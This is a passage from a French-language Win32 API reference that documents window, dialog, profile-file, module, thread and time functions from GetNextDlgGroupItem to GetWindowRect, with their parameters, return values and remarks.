         précédent dans le groupe. Si bPrevious est mis à NULL, la fonction recherche
         le Control suivant dans le groupe.

Retours

La valeur en retour identifie le Control (son Handle) suivant ou précédent dans le groupe.

Commentaires
Si l'item (le Control) est dernier item du groupe et que bPrevious est NULL, alors la fonction GetNextDlgGroupItem retourne le handle du premier item (Control) du groupe. Si l'item est le premier item du groupe et que bPrevious est non nul, GetNextDlgGroupItem retourne le handle du dernier item du groupe.

Voir Aussi

GetNextDlgTabItem


GetNextDlgTabItem (Win32)

HWND GetNextDlgTabItem(hwndDlg, hCtl, bPrevious)

HWND hwndDlg;	/* handle de la  DialogBox */
HWND hCtl;	/* handle du Control connu */
BOOL bPrevious;	/* flag de direction (suivant/précédent) */
Cette fonction récupère le handle du premier Control qui possède le style WS_TABSTOP qui suit (ou précède) le Control identifié par le paramètre hCtl.

Paramètre 	 Description

hwndDlg 	 Identifie la DialogBox dans laquelle est effectuée la recherche.
hCtl 	 	 Identifie le Control utilisé comme un point de départ de la recherche.
bPrevious 	 Spécifie comment la fonction doit effectuer la recherche dans la DialogBox.
         Si le paramètre bPrevious est non nul, la fonction recherche le Control
         précédent dans la DialogBox. Si bPrevious est mis à NULL, la fonction
         recherche le Control suivant dans la DialogBox.

Retours

La valeur en retour identifie le Control précédent (ou suivant) qui possède le style WS_TABSTOP.

Voir Aussi

GetNextDlgGroupItem


GetNextWindow (Win32)

HWND GetNextWindow(hwnd, fuCmd)

HWND hwnd;	/* handle de la fenêtre courante */
UINT fuCmd;	/* flag de direction (précédente ou suivante) */
Cette fonction recherche le handle qui identifie la fenêtre suivante (ou précédente) dans la liste du manager des fenêtres. La liste du manager contient les entrées de toutes les fenêtres de plus haut niveau (les fenêtres parentes), leurs fenêtres (ou objets) enfants associées ainsi que les fenêtres enfants de n'importe quelles fenêtres enfants (donc les handles des boutons… la totale). Si le paramètre hwnd est le handle d'une fenêtre parente, alors cette fonction recherche le handle de la fenêtre parente suivante (ou précédente); si hwnd est le handle d'une fenêtre enfant, alors cette fonction recherche le handle de la fenêtre enfants suivante (ou précédente).

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre actuelle.
fuCmd 	 	 Spécifie si la fonction doit renvoyer le handle de la fenêtre suivante ou de
         la fenêtre précédente. Ce paramètre peut prendre une des valeurs suivantes :

         Valeur 	 Signification

         GW_HWNDNEXT 	 fenêtre suivante.
         GW_HWNDPREV 	 fenêtre précédente.

Retours
La valeur en retour identifie le fenêtre suivante (ou précédente) dans la liste du manager des fenêtre.

Voir Aussi

GetWindow, GetTopWindow


GetOpenFileName (Win32)

BOOL GetOpenFileName(lpofn)

LPOPENFILENAME lpofn;	/* adresse de la structure OPENFILENAME	*/

La fonction GetOpenFileName crée une boîte de dialogue un peu spéciale, celle-ci permet à
l'utilisateur de choisir un fichier pour l'ouvrir.

Paramètre   Description

lpofn 	    Pointe sur une structure OPENFILENAME, laquelle contient les informations qui
        servent à définir la boîte de dialogue. Après que la fonction GetOpenFileName
        retourne, cette structure contient en plus les informations sur le fichier
        choisit par l'utilisateur. (Comme le nom du fichier, son chemin…)

Retours

La valeur de retour est TRUE si l'utilisateur choisit un fichier pour l'ouvrir.
Par contre la valeur sera FALSE si une erreur s'est produite, si l'utilisateur choisit le
bouton 'Annuler', si l'utilisateur choisit la commande 'Fermer' de la boîte de dialogue, ou
bien si le Buffer identifié par le paramètre lpstrFile de la structure OPENFILENAME est trop
petit pour contenir la chaîne de caractères qui indique le fichier choisi.

Erreurs

Employez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être
une des valeurs suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOCKRESFAILURE
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE
FNERR_BUFFERTOOSMALL
FNERR_INVALIDFILENAME
FNERR_SUBCLASSFAILURE

Commentaires

Si la fonction de Hook (sur laquelle pointe le membre lpfnHook de structure OPENFILENAME)
traite le message WM_CTLCOLOR, cette fonction doit renvoyer le handle de la brosse qui doit
être employée pour peindre le fond du Control (la DialogBox).

Voir Aussi

OPENFILENAME, GetSaveFileName, CommDlgExtendedError, OFNHookProc, OFNHookProcOldStyle


GetParent (Win32)

HWND GetParent(hwnd)

HWND hwnd;	/* handle de la fenêtre */

Cette fonction retrouve le handle de la fenêtre parentale de la fenêtre indiquée (si elle en
possède une).

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre (ou objet (ex :bouton)) dont on recherche sa fenêtre
         parente (son handle).

Retours

La valeur de retour identifie la fenêtre parente. Ce sera un NUL si la fenêtre n'a aucune
fenêtre parente.

Voir Aussi

SetParent


GetPrivateProfileInt (Win32)

UINT GetPrivateProfileInt(lpszSection, lpszEntry, dwDefault, lpszFile)

LPCTSTR lpszSection;	/* adresse du non de la section */
LPCTSTR lpszEntry;	/* adresse du nom clé */
DWORD dwDefault;	/* valeur en retour si le nom clef est introuvable */
LPCTSTR lpszFile;	/* adresse du nom du fichier d'initialisation */
La fonction GetPrivateProfileInt retrouve une valeur (un nb entier) dans la section spécifiée à l'intérieur d'un fichier d'initialisation spécifié.
Ex dans Win.ini on trouve la section [intl]

[intl]
iCountry=33

Paramètre 	 Description

lpszSection 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle contient le
         titre (le nom) de la section dans le fichier d'initialisation.
lpszEntry 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle contient le
         'nom-clef' de la valeur à retrouvée.
dwDefault 	 Indique la valeur par défaut à retourner si ce nom-clé n'a pas pu être retrouvé
         dans le fichier d'initialisation.
lpszFile 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle n'est autre
         que le nom du fichier d'initialisation. Si lpszFile ne contient pas le chemin
         complet, Windows lance une recherche de ce fichier dans le répertoire Windows.

Retours
Si la fonction est couronnée de succès, la valeur en retour est la valeur de la chaîne de caractères suivant lpszEntry dans lpszFile. Si la clef n'est pas retrouvée, la valeur en retour est dwDefault.
La valeur en retour est un NULL si la valeur du nom-clef est négative.

Commentaires

La fonction GetPrivateProfileInt peut être employée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

La fonction recherche dans le fichier une clef qui corresponde au nom indiqué par le paramètre lpszEntry dans la section indiqué par le paramètre lpszSection. Une entrée d'entier dans le fichier d'initialisation doit avoir la forme suivante :

[ Nom de section]
nom-clef = valeur
.
.
.

La fonction GetPrivateProfileInt n'est pas sensible aux caractères majuscules-minuscules, C'est pourquoi les chaînes de carctères dans lpszSection ou lpszEntry peuvent aussi bien être une combinaison de lettres majuscules que minuscules.
Le programme peut utiliser la fonction GetProfileInt pour retrouver une valeur d'entier dans le fichier WIN.INI.

Voir Aussi

GetPrivateProfileString, GetProfileInt, GetProfileString


GetPrivateProfileSection (new for Win32)

DWORD GetPrivateProfileSection(lpszSection, lpszReturnBuffer, cchBuffer, lpszFile)

LPCTSTR lpszSection;	/* adresse du nom de la section */
LPTSTR lpszReturnBuffer;	/* adresse du buffer recevant les données */
DWORD cchBuffer;	/* Taille de ce buffer */
LPCTSTR lpszFile;	/* adresse du nom du fichier d'initialisation (nom du fichier *.ini) */
Cette fonction retrouve chacun des noms-clef et leurs valeurs qui vont de paires dans une section particulière du fichier d'initialisation indiqué. (dans le fichier *.ini)

Paramètre 	 Description

lpszSection 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle conteint le
         titre de la section dans le fichier d'initialisation.
lpszReturnBuffer Pointe sur le buffer qui reçoit les nom-clefs et leurs valeurs associées dans
         la section. Le Buffer est rempli de plusieurs chaînes de caractères terminées
         par un nul chacune; la dernière chaîne est suivie par un deuxième caractère
         nul pour marquer la fin du tableau (ce buffer) contenant ces chaînes.
cchBuffer 	 Est la taille (en nb de caractères) du buffer lpszReturnBuffer.
lpszFile 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle est le nom du
         fichier *.ini. Si lpszFile ne contient pas le chemin du fichier, Windows fait
         une recherche du fichier dans le répertoire 'Windows'.

Retours
La valeur en retour est le nombre de caractères copiés dans le buffer lpszReturnBuffer, sans inclure le tout dernier caractère NULL de terminaison du tableau. Si le buffer n'est pas assez grand pour contenir tous les noms-clef avec leurs valeurs associées (de la section), alors la valeur en retour est égale à la longueur indiquée par le paramètre cchBuffer moins 2.

Commentaires

La fonction GetPrivateProfileSection peut être utilisée soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer des caractères du jeu de Windows 3.x).

Le format des noms-clefs retournés et de leurs valeurs sont toutes des chaînes de caractères terminées par un NULL chacunes, le tout terminé lui même par un NULL de fin de tableau. Chaque chaîne présente le format suivant :

Non-clef=Valeur (chaîne de caractères)

GetPrivateProfileSection ne fait pas de différence entre les Majuscules et Minuscules, c'est pourquoi les Chaînes de caractères dans lpszSection peuvent être des combinaison de lettres majuscules ET minuscules.
C'est une opération dite 'Atomique'; c'est à dire qu'il n'est pas permis de mettre à jour le fichier *.ini indiqué une fois qu'un nom-clef et et sa valeur qui va de paire dans une section de l'application sont copié dans le buffer lpszReturnBuffer.

Voir Aussi

GetPrivateProfileInt, GetPrivateProfileString, GetProfileSection, WritePrivateProfileString, WritePrivateProfileSection, WriteProfileSection


GetPrivateProfileString (Win32)

DWORD GetPrivateProfileString(lpszSection, lpszEntry, lpszDefault, lpszReturnBuffer,
      cchReturnBuffer, lpszFile)

LPCTSTR lpszSection;	 /* adresse du nom de la section */
LPCTSTR lpszEntry;	 /* adresse du nom d'entrée */
LPCTSTR lpszDefault;	 /* adresse de la chaîne de caractère par défaut */
LPTSTR lpszReturnBuffer; /* adresse du buffer de destination */
DWORD cchReturnBuffer;	 /* taille du buffer de destination */
LPCTSTR lpszFile;	 /* adresse du nom du fichier d'initialisation */
La fonction GetPrivateProfileString retrouve une chaîne de caractère dans une des sections indiquées d'un fichier d'initialisation indiqué.

Paramètre 	 Description

lpszSection 	 Pointe sur une chaîne de caractères terminée par un NULL de terminaison,
         laquelle spécifie la section contenant le nom-clef.
lpszEntry 	 Pointe sur une chaîne de caractères terminée par un NULL, laquelle contient le
         nom d'entré associé au nom-clef. Si cette valeur est NULL, tous les noms
         d'entré de la section indiquée par le paramètre lpszSection sont recopiés
         dans le Buffer indiqué par le paramètre lpszDest.
lpszDefault 	 Pointe sur une chaîne de caractères terminée par un NULL, laquelle spécifie la
         valeur par défaut de la clef donnée au cas où la clef ne peut pas être
         trouvée dans le fichier d'initialisation. Ce paramètre ne doit jamais
         être NULL.
lpszReturnBuffer Pointe sur le Buffer qui reçoit la chaîne de caractères.
cchReturnBuffer  Spécifie la taille (le nb de caractères) du Buffer lpszDest.
lpszFile 	 Pointe sur une chaîne de caractères terminée par un NULL, c'est le nom du
         fichier d'initialsation. Si lpszFile ne contient pas le chemin complet
         (c:..\..\nom), alors Windows effectue une recherche du fichier dans la
         liste d'adresses de Windows.

Retours
Si la fonction est couronnée de succès, la valeur en retour est le nombre de caractères recopiés dans le Buffer, sans inclure le nul de terminaison.

Si lpszEntry n'est pas NULL et que le Buffer de destination est trop petit pour contenir la chaîne de caractères, alors cette chaîne sera tronquée mais sera heureusement pourvue d'un NULL de terminaison. Dans ce cas la valeur en retour sera égale à cchReturnBuffer-1.
Si lpszEntry est NULL et que le Buffer de destination est trop petit pour contenir toutes les chaînes de caractères, alors la dernière chaîne sera tronquée et suivie par deux NULL de terminaison. Dans ce cas, la valeur en retour sera égale à cchReturnBuffer-2.

Commentaires

Cette fonction recherche dans le fichier une clef qui correspond au nom indiqué dans le paramètre lpszEntry à l'intérieur de l'en-tête de la section indiqué par le paramètre lpszSection. Si la clef est retrouvée, la chaîne de caractères correspondante est recopiée dans le buffer. Si la clef n'existe pas, la chaîne de caractères par défaut mise dans le paramètre lpszDefault est recopiée. Une chaîne de caractères d'entrée dans un fichier d'initialisation doit avoir la forme suivante :

[ Nom de la section]
Keyname=string
.
.
.

Si le paramètre lpszEntry est NULL, la fonction GetPrivateProfileString recopie tous les noms-clefs de la section indiquée dans le Buffer. Chaque chaîne de caractères est terminée par un NULL et la la toute dernière chaîne est terminée par deux NULL de terminaison. Si le Buffer de destination est trop petit pour contenir toutes les chaînes de caractères, la dernière chaîne sera tronquée mais heureusement terminée par deux NULL de terminaison.
Si la chaîne de caractères associée à lpszEntry est encadrée par des guillemets simples ou doubles, ces guillemets sont effacés lorsque la fonction GetPrivateProfileString renvoie la chaîne de caractères.
La fonction GetPrivateProfileString ne fait pas de différence entre un 'a' et un 'A'…, donc les chaînes de caractères dans lpszSection et lpszEntry peuvent être une combinaison de lettres majuscules et minuscules.

Un programme peut utiliser la fonction GetProfileString pour retrouver une chaîne de caractères dans le fichier WIN.INI.
Le paramètre lpszDefault doit pointer sur une chaîne de caractères valide, même si la chaîne est vide (même si son premier caractère est zéro). Si lpszDefault est NULL, Windows produit une Sortie(erreur) Fatale.

Voir Aussi

GetPrivateProfileInt, GetProfileString, GetProfileInt


GetProcAddress (Win32)

FARPROC GetProcAddress(hModule, lpszProc)

HANDLE hModule;		/* identifie la DLL */
LPCSTR lpszProc;	/* identifie la fonction dans cette DLL */
La fonction GetProcAddress retrouve l'adresse d'une fonction exportée par la DLL indiquée.

Paramètre 	 Description

hModule 	 Identifie la DLL qui contient la fonction. La fonction LoadLibrary retourne
         ce handle.
lpszProc 	 Pointe sur une chaîne de caractères terminée par un nul, laquelle contient
         le nom de la fonction, ou bien spécifie la valeur ordinale de la fonction
         (son n° de classement dans la DLL, est-ce la deuxième fonction dans la
         DLL...). Si c'est une valeur ordinale, cette valeur doit être mise dans le
         WORD de poids faible et le WORD de poids fort doit être épuré (mis à zéro).

Retours
La valeur en retour est l'adresse du point d'entrée (l'Entry Point) de la fonction si la fonction est couronnée de succès. Autrement, c'est un NULL. Utilisez la fonction GetLastError pour obtenir des informations à propos de l'erreur étendue.

Commentaires

Utilisez la fonction GetProcAddress pour retrouver les adresses des fonctions exportées par une DLL.

L'orthographe du nom de la fonction (indiqué par lpszProc) doit être identique à l'orthographe comme elle apparaît dans la section EXPORTATIONS (la section EXPORTS) de la définition de module (du fichier *.def) de la DLL.
En employant une valeur ordinale pour spécifier la fonction, il est possible pour la fonction de retourner une valeur non-nulle bien que la fonction indiquée puisse avoir un n° ordinal qui n'existe pas. Ceci peut se produire si le fichier de définition de module (le fichier *.def) de le DLL se sert de l'utilisation ordinal d'un nombre supérieur à la gamme [1 .. n] où n est le nombre de fonctions exportées.


GetSaveFileName (Win32)

BOOL GetSaveFileName(lpofn)

LPOPENFILENAME lpofn;	/* adresse de la structure contenant les données d'initialisation */
La fonction GetSaveFileName crée une DialogBox prédéfinie par le système, Cette Box sert à ce que l'utilisateur puisse choisir un fichier pour le sauvegarder.
Paramètre   Description

lpofn 	    Pointe sur une structure OPENFILENAME, laquelle contient les informations qui
        servent à définir la boîte de dialogue. Après que la fonction GetSaveFileName
        retourne, cette structure contient en plus les informations sur le fichier
        choisit par l'utilisateur. (Comme le nom du fichier, son chemin…)

Retours

La valeur de retour est TRUE si l'utilisateur choisit un fichier à sauvegarder.
Par contre la valeur sera FALSE si une erreur s'est produite, si l'utilisateur choisit le
bouton 'Annuler', si l'utilisateur choisit la commande 'Fermer' de la boîte de dialogue, ou
bien si le Buffer identifié par le paramètre lpstrFile de la structure OPENFILENAME est trop
petit pour contenir la chaîne de caractères qui indique le fichier choisi.

Erreurs

Employez la fonction CommDlgExtendedError pour retrouver la valeur de l'erreur, qui peut être
une des valeurs suivantes :

CDERR_FINDRESFAILURE
CDERR_INITIALIZATION
CDERR_LOCKRESFAILURE
CDERR_LOADRESFAILURE
CDERR_LOADSTRFAILURE
CDERR_MEMALLOCFAILURE
CDERR_MEMLOCKFAILURE
CDERR_NOHINSTANCE
CDERR_NOHOOK
CDERR_NOTEMPLATE
CDERR_STRUCTSIZE
FNERR_BUFFERTOOSMALL
FNERR_INVALIDFILENAME
FNERR_SUBCLASSFAILURE

Commentaires

Si la fonction de Hook (sur laquelle pointe le membre lpfnHook de structure OPENFILENAME)
traite le message WM_CTLCOLOR, cette fonction doit renvoyer le handle de la brosse qui doit
être employée pour peindre le fond du Control (la DialogBox).

Voir Aussi

OPENFILENAME, GetSaveFileName, CommDlgExtendedError, OFNHookProc, OFNHookProcOldStyle


Retour

GetStartupInfo (Win32)

VOID GetStartupInfo(lpStartupInfo)

LPSTARTUPINFO lpStartupInfo;	/* adresse de la structure STARTUPINFO */

La fonction GetStartupInfo retrouve les informations à propos du démarrage du process actuel.

Paramètre 	 Description

lpStartupInfo 	 Pointe sur une structure de type STARTUPINFO, laquelle sera remplie par la
fonction.

Retours

Cette fonction ne renvoie aucune valeur.

Commentaires

La fonction GetStartupInfo peut être employée soit en tant que fonction de caractère large
(où les arguments de texte doivent employer Unicode) soit en tant que fonction ANSI
(où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

GetCommandLine, CreateProcess, GetEnvironmentVariable, SetEnvironmentVariable, STARTUPINFO

Retour


GetSubMenu

La fonction GetSubMenu retrouve le handle du menu popup ou du sous-menu dans lequel se trouve l'item indiqué.
HMENU GetSubMenu(

    HMENU hMenu,	// Handle du menu
    int nPos		// position de l'Item
);
Paramètres

hMenu
Identifie le menu.

nPos
Spécifie la position relative zéro-basée de l'item, à l'intérieur de ce menu, qui active ce menu popup ou ce sous-menu.

Valeurs en Retour

Si la fonction réussit, la valeur en retour est le handle du menu popup ou du sous-menu activé par l'Item. Si le l'item n'active pas de menu popup ou de sous-menu, la valeur en retour est NULL.

Voir Aussi

CreatePopupMenu, GetMenu


GetSystemDirectory (Win32)

UINT GetSystemDirectory(lpszSysPath, cchSysPath)

LPTSTR lpszSysPath;	/* adresse du buffer du répertoire 'System' */
UINT cchSysPath;	/* Taille de ce buffer */
La fonction GetSystemDirectory retrouve le chemin du répertoire 'System' de Windows. Le répertoire 'System' contient certains fichiers comme les bibliothèques (les DLL) de Windows, les Drivers (les VxD) ...

Paramètre 	 Description

lpszSysPath 	 Pointe sur le buffer contenant une chaîne de caractères terminée par un nul,
         laquelle n'est autre que le chemin du répertoire 'System'.
cchSysPath 	 Est la taille maximale du buffer (en nb de caractères). Cette valeur doit
         être MAX_PATH pour que le buffer soit d'une taille suffisante.

Retours
Si la fonction est couronnée de succès, la valeur en retour est nombre de caractères de la chaîne de caractère recopiée dans le buffer lpszSysPath, ceci n'incluse pas le caractère nul de terminaison.

Si le buffer n'est pas assez grand, la valeur en retour est la taille exigée pour que le buffer puisse contenir le chemin.
Si la fonction échoue, la valeur en retour est un NULL.

Commentaires

Les applications ne doivent pas créer des fichiers dans le répertoire System (alors ça c'est faux). Si l'utilisateur utilise une version partagée de Windows, l'application n'aura pas un accès en écriture à ce répertoire System. Une application peut créer des fichiers dans un autre répertoire qu'en utilisant la fonction GetWindowsDirectory pour en changer.

Le chemin que cette fonction retrouve ne finit pas avec un antislash à moins que le répertoire 'System' ne soit pris comme racine. Par exemple, si le répertoire System est nommée Windows\SYSTEM sur la le lecteur C :, alors le chemin du répertoire 'System' retrouvé par cette fonction est C:\Windows\SYSTEM.
La fonction GetSystemDirectory peut être utilisé soit en tant que fonction à caractères larges (où les arguments de texte doivent employer l'Unicode) soit en tant que fonction ANSI (où les arguments de texte doivent employer le jeu de caractères de Windows 3.x).

Voir Aussi

GetWindowsDirectory, GetCurrentDirectory, SetCurrentDirectory


GetSystemMenu (Win32)

HMENU GetSystemMenu(hwnd, fRevert)

HWND hwnd;	/* handle de la fenêtre qui possède le menu */
BOOL fRevert;	/* flag reset */

La fonction GetSystemMenu permet à la application d'avoir un Menu-Système pour le reproduire et le modifier.

Paramètre Description

hwnd Identifie la fenêtre qui possédera une copie du menu.
fRevert Indique l'action à faire. Si ce paramètre est FALSE, la fonction GetSystemMenu renvoie le handle de la copie du menu système utilisé en ce moment. Initialement cette copie est identique au menu système, mais il peut être modifié. Si ce paramètre est TRUE, GetSystemMenu remet le menu système à son état par défaut. Le menu système précédent, s'il y en avait un, est détruit.

Retours

Si fRevert est FALSE, la valeur en retour est le handle d'une copie du menu système. Si fRevert est TRUE, la valeur en retour est NULL.

Commentaires

Chaque fenêtre qui n'utilise pas la fonction GetSystemMenu pour faire sa propre copie du menu reçoit un menu Système standard.

Le handle retourné par la fonction GetSystemMenu peut être employé avec les fonctions AppendMenu, InsertMenu, ou ModifyMenu pour changer ce Menu Système.
Le Menu Système contient initialement des items avec des n°ID de valeurs diverses comme SC_CLOSE, SC_MOVE et SC_SIZE.
Les items du Menu Système envoient des messages WM_SYSCOMMAND.
Tous les Items d'un Menu Système prédéterminé ont des n°IDs supérieurs à 0xF000. Si l'application ajoute des commandes au Menu Système, il doit employer des IDs inférieurs à F000.
Windows grise automatiquement les items du Menu Système standard, selon la situation. L'application peut effectuer ses propres vérifications ou peut griser les Items en répondant au message WM_INITMENU, qui est envoyé avant qu'un quelconque menu ne soit affiché.

Voir Aussi

AppendMenu, GetMenu, InsertMenu, ModifyMenu, WM_INITMENU


GetSystemTime

VOID GetSystemTime (
LPSYSTEMTIME LpSystemTime	 // adresse de la structure 'System Time'
);

Paramètres :

lpSystemTime
La fonction GetSystemTime retrouve la date et l'heure du système (de l'horloge de votre ordinateur). Le System Time est exprimé en 'Coordonnées (unité) Universelles de Temps' (UTC).

Pointe sur la structure SYSTEMTIME pour recevoir la date et l'heure actuelle de votre système.

Valeurs de Retour :

Cette fonction n'a aucune valeur en retour.

Voir Aussi :

GetLocalTime, GetSystemTime, SetSystemTime, SYSTEMTIME


GetSystemTime

GetSystemTimeAsFileTime

La fonction GetSystemTimeAsFileTime récupère la date et l'heure du système actuelle. L'information est dans le format d'Unité de Temps Universel (UTC).

VOID GetSystemTimeAsFileTime (
LPFILETIME lpSystemTimeAsFileTime // pointe sur un fichier de structure de temps
);

Paramètres :

lpSystemTimeAsFileTime

Pointe sur une structure FILETIME pour recevoir la date et l'heure du système actuelle dans le format d'UTC.

Valeurs de Retour :

Cette fonction n'a aucune valeur en retour.

Remarques :

La fonction GetSystemTimeAsFileTime est l'équivalente du code suivant :

FILETIME ft;
SYSTEMTIME st;

GetSystemTime(&st);
SystemTimeToFileTime(&st,&ft);

Voir Aussi :

FILETIME, GetSystemTime, SYSTEMTIME, SystemTimeToFileTime


Retour

GetThreadContext (Win32)

BOOL GetThreadContext (hThread, lpContext)

HANDLE hThread;
LPCONTEXT lpContext;

La fonction GetThreadContext retrouve le context du lien indiqué.

Paramètre 	 Description

hThread 	 Stocke l'HANDLE du lien ouvert, du  context que l'on souhaite retrouvé. Cet
         HANDLE  doit avoir été créé avec l'accès du lien avec le Flag
         THREAD_GET_CONTEXT.

lpContext 	 Est l'adresse de la structure CONTEXT laquelle reçoit le context approprié du
         lien indiqué. La valeur du champ ContextFlags de cette structure indique
         quelles parties du contexte doivent être retrouvées (est-ce qu'on s'intéresse
         à tous les registres ou bien seulement à certains bien précis). La structure
         'context' est spécifique à la machine utilisée. Il y a actuellement deux
         versions de la structure 'context'. Une version existe pour des processeurs
         x86 et une autre existe pour des processeurs MIPS.

Retours

La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur
s'est produite. Employez la fonction GetLastError pour obtenir l'information à propos de
l'erreur étendue.

Commentaires

Cette fonction est employée pour retrouver le 'context' du lien indiqué. Cette fonction permet
d'obtenir un 'context' sélectif, lequel est retrouvé sur la basé de la valeur du membre
ContextFlags de la structure CONTEXT. Le lien indiqué ne doit pas être en train de se faire
debugger pour que cette fonction fonctionne. L'interlocuteur doit simplement avoir l'HANDLE du
lien qui a été créé avec l'accès THREAD_GET_CONTEXT.

Voir Aussi

SetThreadContext

Retour


GetTickCount (Win32)

DWORD GetTickCount(VOID)

La fonction GetTickCount retrouve le nombre de millisecondes qui se sont écoulées depuis le démarrage de Windows.

Retours

La valeur en retour est le nombre de millisecondes qui se sont écoulées depuis le lancement de Windows.

Commentaires

Le Timer interne restera dans des valeur autour de zéro si Windows est continuellement en fonctionnement depuis une période de plus 49 jours approximativement.
La fonction GetTickCount est identique à la fonction GetCurrentTime. L'application doit utiliser GetTickCount, parce que son nom représente mieux ce que fait cette fonction.

Voir Aussi

GetMessageTime, GetSystemTime, GetTickCount, SetSystemTime


GetTopWindow (Win32)

HWND GetTopWindow(hwnd)

HWND hwnd;	/* handle de la fenêtre parente */
Cette fonction recherche le handle de la fenêtre enfant de plus haut niveau qui appartient à la fenêtre parente (d'handle hwnd). Si la fenêtre n'a aucuns enfants, cette fonction retourne un NULL.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre parente. Si hwnd est NULL, GetTopWindow renverra
         la première fenêtre de plus haut niveau présente sur le bureau (la première
         fenêtre enfant appartenant à la fenêtre du bureau).

Retours
La valeur de retournée identifie le handle de la fenêtre enfant de plus haut niveau d'une fenêtre parente. Si aucune fenêtre enfant n'existent, la valeur en retour sera un NULL.

Voir Aussi

GetWindow, GetNextWindow


GetWindow (Win32)

HWND GetWindow(hwnd, wCmd)

HWND hwnd;	/* handle de la fenêtre d'origine */
UINT wCmd;	/* flag de comportement */
Cette fonction recherche le handle d'une fenêtre dans la liste du manager des fenêtres. La liste du manager des fenêtres contient les entrées de toutes les fenêtres de plus haut niveau (les fenêtres parentes), de leurs fenêtres enfants associées et des fenêtres enfants de n'importe quelles fenêtres enfants. Le paramètre wCmd représente le comportement à prendre vis à vis de la fenêtre identifiée par le paramètre hwnd et de la fenêtre dont son handle est renvoyé.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre d'origine.
wCmd 	 	 Est le rapport entre la fenêtre d'origine et la fenêtre renvoyée. Ça peut être
         une des valeurs suivantes :

         Valeur 	 Signification

         GW_CHILD 	 Identifie la première fenêtre enfant de la fenêtre (d'origine).
         GW_HWNDFIRST 	 Renvoie la première fenêtre enfant de mêmes parents que la
                  fenêtre d'origine. Autrement, elle renverra la première
                 fenêtre de plus haut niveau.
         GW_HWNDLAST 	 Renvoie la dernière fenêtre d'enfant de mêmes parents que
                  la fenêtre d'origine. Autrement, il renverra la dernière
                 fenêtre de plus haut niveau.
         GW_HWNDNEXT 	 Renvoie la fenêtre qui suit la fenêtre donnée.
         GW_HWNDPREV 	 Renvoie la fenêtre précédente.
         GW_OWNER 	 Identifie la fenêtre parente.

Retours
La valeur en retour identifie une fenêtre. Ce sera un NULL si on arrive en fin de liste du manager des fenêtres ou bien si le paramètre wCmd est invalide.

Voir Aussi

GetTopWindow, GetActiveWindow, GetNextWindow


GetWindowLong (Win32)

LONG GetWindowLong(hwnd, nIndex)

HWND hwnd;	/* handle de la fenêtre */
int nIndex;	/* offset de la valeur à retrouver */

Cette fonction retrouve une information propre sur la fenêtre identifiée par le paramètre hwnd.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.
nIndex 	 	 Spécifie offset (de type byte) de la valeur à retrouver. Ça peut également
          être une des valeurs suivantes :

            Valeur 	 Signification

         GWL_EXSTYLE 	 Style-Extra de fenêtre.
         GWL_STYLE 	 Style de Fenêtre.
         GWL_WNDPROC 	 Pointer Long(32bits) sur la fonction de fenêtre. (pointer
                  sur le nom de la procédure WinProc)
         GWL_HINSTANCE 	 handle du programme (instance).
         GWL_HWNDPARENT  handle de la fenêtre parente, s'il y en a une. La fonction
                  SetParent change la fenêtre parente d'une fenêtre d'enfant.
                 L'application ne doit pas appeler la fonction SetWindowLong
                 pour changer le parent d'une fenêtre enfant.
         GWL_ID 	 'Control ID' d'une fenêtre enfant (le n°ID d'un bouton par
                  exemple).
         GWL_USERDATA 	 Cet index peut-être utilisé pour avoir accès à un LONG (une
                  valeur 32bits comme var1 dd ? par exemple) qui est
                 réservé dans chaque structure de fenêtre. Ce LONG est
                 réservé spécialement pour l'application en question.
                 En général une application ne doit pas stocker de valeurs
                 dans ce LONG si la fenêtre associée a été créée par une
                 quelconque autre application.

Retours

La valeur en retour est l'information sur la fenêtre donnée.

Commentaires
Pour accéder à une des valeurs réservées supplémentaires (de 4 bytes) lorsque la structure de 'Window Class' a été créée, utilisez un offset positif (pour le Byte) en tant qu'index indiqué dans le paramètre nIndex, en commençant à zéro pour la première valeur de quatre bytes dans l'espace supplémentaire, 4 pour la valeur suivante de quatre octets et cetera.

Voir Aussi

SetParent, SetWindowLong, GetWindowWord, SetWindowWord


GetWindowPlacement (Win32)

BOOL GetWindowPlacement(hwnd, lpwndpl)

HWND hwnd;			/* handle de la fenêtre */
WINDOWPLACEMENT * lpwndpl;	/* adresse de la structure de position */
La fonction GetWindowPlacement retrouve l'état de l'affichage de la fenêtre (réduite, partielle, ou plein écran) ainsi que la position de la fenêtre, quelle soit réduite au minimum ou maximisée.

Paramètre 	 Description

hwnd 	 	 Identifie la fenêtre.
lpwndpl 	 Pointe sur la structure WINDOWPLACEMENT, laquelle reçoit les informations sur
          l'état et la position de la fenêtre.

Retours
La valeur en retour est TRUE si la fonction est couronnée de succès, ou FALSE si une erreur s'est produite. Pour obtenir plus d'informations à propos de l'erreur étendue, utilisez la fonction GetLastError.

Commentaires

Le membre (le paramètre) 'Flags' de la structure WINDOWPLACEMENT retrouvée par cette fonction est toujours mis à zéro. Si la fenêtre identifiée par le paramètre hwnd est maximisée, le membre showCmd de WINDOWPLACEMENT est SW_SHOWMAXIMIZED; si la fenêtre est réduite au minimum, showCmd est mis à SW_SHOWMINIMIZED, sinon il sera mis à SW_SHOWNORMAL.

Voir Aussi

SetWindowPlacement, WINDOWPLACEMENT


GetWindowRect (Win32)

BOOL GetWindowRect(hwnd, lprc)

